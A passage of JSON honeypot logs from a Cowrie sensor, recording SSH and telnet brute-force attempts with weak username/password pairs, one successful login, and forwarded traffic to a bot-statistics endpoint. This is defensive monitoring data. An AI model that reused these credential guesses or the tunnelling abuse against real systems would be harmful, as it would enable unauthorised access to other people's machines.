6-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:28.173145Z","src_ip":"91.92.40.36","session":"d3e7942dd22c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.4","message":"Connection lost after 13.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:30.186745Z","src_ip":"91.92.40.36","session":"64598bf3a10d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.67938947677612,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:33.523239Z","src_ip":"172.81.62.90","session":"6fb9d223b949","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":28622,"dst_ip":"159.203.135.109","dst_port":22,"session":"f283b8d3a552","protocol":"ssh","message":"New connection: 91.92.40.36:28622 (159.203.135.109:22) [session: f283b8d3a552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:34.359974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:34.612301Z","src_ip":"91.92.40.36","session":"f283b8d3a552","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:35.196335Z","src_ip":"91.92.40.36","session":"f283b8d3a552","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12","message":"login attempt [admin/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:35.709603Z","src_ip":"91.92.40.36","session":"d3e7942dd22c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.8","message":"Connection lost after 13.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:38.656609Z","src_ip":"91.92.40.36","session":"d3e7942dd22c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":21890,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e6a83a53e41","protocol":"ssh","message":"New connection: 91.92.40.36:21890 (159.203.135.109:22) [session: 7e6a83a53e41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:38.820952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:40.171528Z","src_ip":"91.92.40.36","session":"7e6a83a53e41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:40.174959Z","src_ip":"91.92.40.36","session":"7e6a83a53e41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123qwe","message":"login attempt [dev/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:40.992209Z","src_ip":"91.92.40.36","session":"f283b8d3a552","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35494,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fe9311f2f13","protocol":"telnet","message":"New connection: 128.199.8.54:35494 (159.203.135.109:23) [session: 3fe9311f2f13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:41.404778Z"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:43.628234Z","src_ip":"91.92.40.36","session":"f283b8d3a552","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"P4$word","message":"login attempt [guest/P4$word] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:44.919821Z","src_ip":"91.92.40.36","session":"7e6a83a53e41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":57040,"dst_ip":"10.17.0.5","dst_port":22,"session":"73678c3324e7","protocol":"ssh","message":"New connection: 123.27.168.40:57040 (10.17.0.5:22) [session: 73678c3324e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:45.471982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:45.476283Z","src_ip":"123.27.168.40","session":"73678c3324e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:45.707581Z","src_ip":"123.27.168.40","session":"73678c3324e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":43670,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4c6ad0b79bc","protocol":"ssh","message":"New connection: 91.92.40.36:43670 (159.203.135.109:22) [session: e4c6ad0b79bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:46.041475Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:46.747571Z","src_ip":"123.27.168.40","session":"73678c3324e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.2","message":"Connection lost after 8.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:46.995986Z","src_ip":"91.92.40.36","session":"7e6a83a53e41","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:47.057457Z","src_ip":"91.92.40.36","session":"e4c6ad0b79bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:47.060701Z","src_ip":"91.92.40.36","session":"e4c6ad0b79bc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:47.099103Z","session":"73678c3324e7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:47.228942Z","session":"73678c3324e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":58104,"dst_ip":"10.17.0.5","dst_port":22,"session":"365c4f3c86e3","protocol":"ssh","message":"New connection: 103.27.238.114:58104 (10.17.0.5:22) [session: 365c4f3c86e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:47.247424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:47.251353Z","src_ip":"103.27.238.114","session":"365c4f3c86e3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:47.336701Z","src_ip":"123.27.168.40","session":"73678c3324e7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1158\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; TR10CS1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=SCNTQ0lrNyNPWk0wV2wkeg%3D%3Dh9gLdTeX1hUz3yw%2BEg7wLUMlXoRqRJU3NsVdpeZTYq6u1NewgR4x2nXaa4Zy7fGwO2pfwRLT8u%2BSl1RhU38ophZ7GPnhI3gBl0iBltupVQU97GMKeEs7mXXwpcB22GilUG4QRwCr%2BIKm%2BFULiRUvId2GwQJ3lOFZ8NvUvcstK41YNGZgOvpWEsPdJ49aQ6%2Baevs0OaIkuSJmaMViKP%2FsGbC1wIet3nK3AluxjGdeAbzwg4nA8KovG7M12btilWplsVhWTiINDYagnnR7PqtbNIZzeOFUaOAjJcgusZrvbbuA5LgQlJ28GNLQgFgvzj5IasrAJZZ78x1QGLd%2B%2FcznSG4zYdQrKqqP7dXNLmSXnqXR7fuYzm7MJ%2BzXqDnZkCjCiT2gZuJ6NmgNdlfxih%2FrMctmA2aEz%2BycqxaKyotQcmfUPi1OMo%2FHmqhi2%2BnW77Qk2%2BUCK2zedaknbr3BwTtpfSTbdNoPjR9b6gmtHDJgZDbOFZ69HdoDkiphz%2B8D4ga53UbYp%2Bys5lROVIKIt9ZlwhclYmSfa5%2BB9i8vOJJso5z%2FJP1%2FM3aF%2BKQ89vx0GK29jrX%2FRQA8jdJ7hl%2F62oc406aGfW75ueMCflDJlkLWTZE8cGB1wP8NpQ01XJ0ZPedoSTv8TDZj7rMAbbdrhSQObiB6H15KlitNTjKKyU40WxWZGQNm46JfGAcoDFmxITynCSbzkEV1WAn9rlaNAyDoaiR6LkZ4yxIWyUYJVXB8rU18WjAEVvyRauGSSfSAN6ecF2eTnbI7S4lTyddY2HOYMikH9Hm2hkTGGznEn1pJttkJ47CyKMINVRROWsXgASAbELg830CKxe%2BfalQ6T3ueHBmzBs4Gri6nYl8Cv2wrTNTlejBLyFlCwGRWhvTtCGjkbO3g5%2FPlLEcD3DlqGcZzJxUt8%2BJZYH5saJ8PyHBsAlCsZ%2F8kXkOTdDBabOJFWULRQgRHvNbnP3CY%2F9Zj4NRbahB5ePeyXw2g4YVkNJcAStar5%2FxJ1QYxV9SuzCbVhzWwM2mVwZ%2FxUjjaCTND5M9PaKVyNlvFm5uFiDoxmEDz2WU%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1158\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; TR10CS1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=SCNTQ0lrNyNPWk0wV2wkeg%3D%3Dh9gLdTeX1hUz3yw%2BEg7wLUMlXoRqRJU3NsVdpeZTYq6u1NewgR4x2nXaa4Zy7fGwO2pfwRLT8u%2BSl1RhU38ophZ7GPnhI3gBl0iBltupVQU97GMKeEs7mXXwpcB22GilUG4QRwCr%2BIKm%2BFULiRUvId2GwQJ3lOFZ8NvUvcstK41YNGZgOvpWEsPdJ49aQ6%2Baevs0OaIkuSJmaMViKP%2FsGbC1wIet3nK3AluxjGdeAbzwg4nA8KovG7M12btilWplsVhWTiINDYagnnR7PqtbNIZzeOFUaOAjJcgusZrvbbuA5LgQlJ28GNLQgFgvzj5IasrAJZZ78x1QGLd%2B%2FcznSG4zYdQrKqqP7dXNLmSXnqXR7fuYzm7MJ%2BzXqDnZkCjCiT2gZuJ6NmgNdlfxih%2FrMctmA2aEz%2BycqxaKyotQcmfUPi1OMo%2FHmqhi2%2BnW77Qk2%2BUCK2zedaknbr3BwTtpfSTbdNoPjR9b6gmtHDJgZDbOFZ69HdoDkiphz%2B8D4ga53UbYp%2Bys5lROVIKIt9ZlwhclYmSfa5%2BB9i8vOJJso5z%2FJP1%2FM3aF%2BKQ89vx0GK29jrX%2FRQA8jdJ7hl%2F62oc406aGfW75ueMCflDJlkLWTZE8cGB1wP8NpQ01XJ0ZPedoSTv8TDZj7rMAbbdrhSQObiB6H15KlitNTjKKyU40WxWZGQNm46JfGAcoDFmxITynCSbzkEV1WAn9rlaNAyDoaiR6LkZ4yxIWyUYJVXB8rU18WjAEVvyRauGSSfSAN6ecF2eTnbI7S4lTyddY2HOYMikH9Hm2hkTGGznEn1pJttkJ47CyKMINVRROWsXgASAbELg830CKxe%2BfalQ6T3ueHBmzBs4Gri6nYl8Cv2wrTNTlejBLyFlCwGRWhvTtCGjkbO3g5%2FPlLEcD3DlqGcZzJxUt8%2BJZYH5saJ8PyHBsAlCsZ%2F8kXkOTdDBabOJFWULRQgRHvNbnP3CY%2F9Zj4NRbahB5ePeyXw2g4YVkNJcAStar5%2FxJ1QYxV9SuzCbVhzWwM2mVwZ%2FxUjjaCTND5M9PaKVyNlvFm5uFiDoxmEDz2WU%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:47.341282Z","src_ip":"123.27.168.40","session":"73678c3324e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:47.530586Z","src_ip":"103.27.238.114","session":"365c4f3c86e3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:47.560274Z","src_ip":"123.27.168.40","session":"73678c3324e7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd1\\x1cgg\\xaf\\x07\\x05V\\xd6\\xa8\\x9a%(\\x9ez 'A\\xa3\\xa8\\x1a\\xcf\\xe2\\xd7\\x8c\\xab\\x80\\xf77J\\xcc. U\\x0ca\\xac\\xf3\\xa14\\x1b\\x10\\x16\\xd8\\xd1\\xc9R\\x04~\\x15\\xa1\\xae\\x1e\\xe8%\\x8a\\xed\\x0b\\x97f\\xd2\\x05\\x0c\\xc7\\xd4\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 _\\xf8\\xd4\\xd0\\x87j\\x15R\\xd5\\xfd\\xc2\\xcaq@mn\\x93\\xe4\\xf2i]w\\x95\\x8b\\x8e\\xf0\\x10\\xbb\\x89\\xb0\\xc9V\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\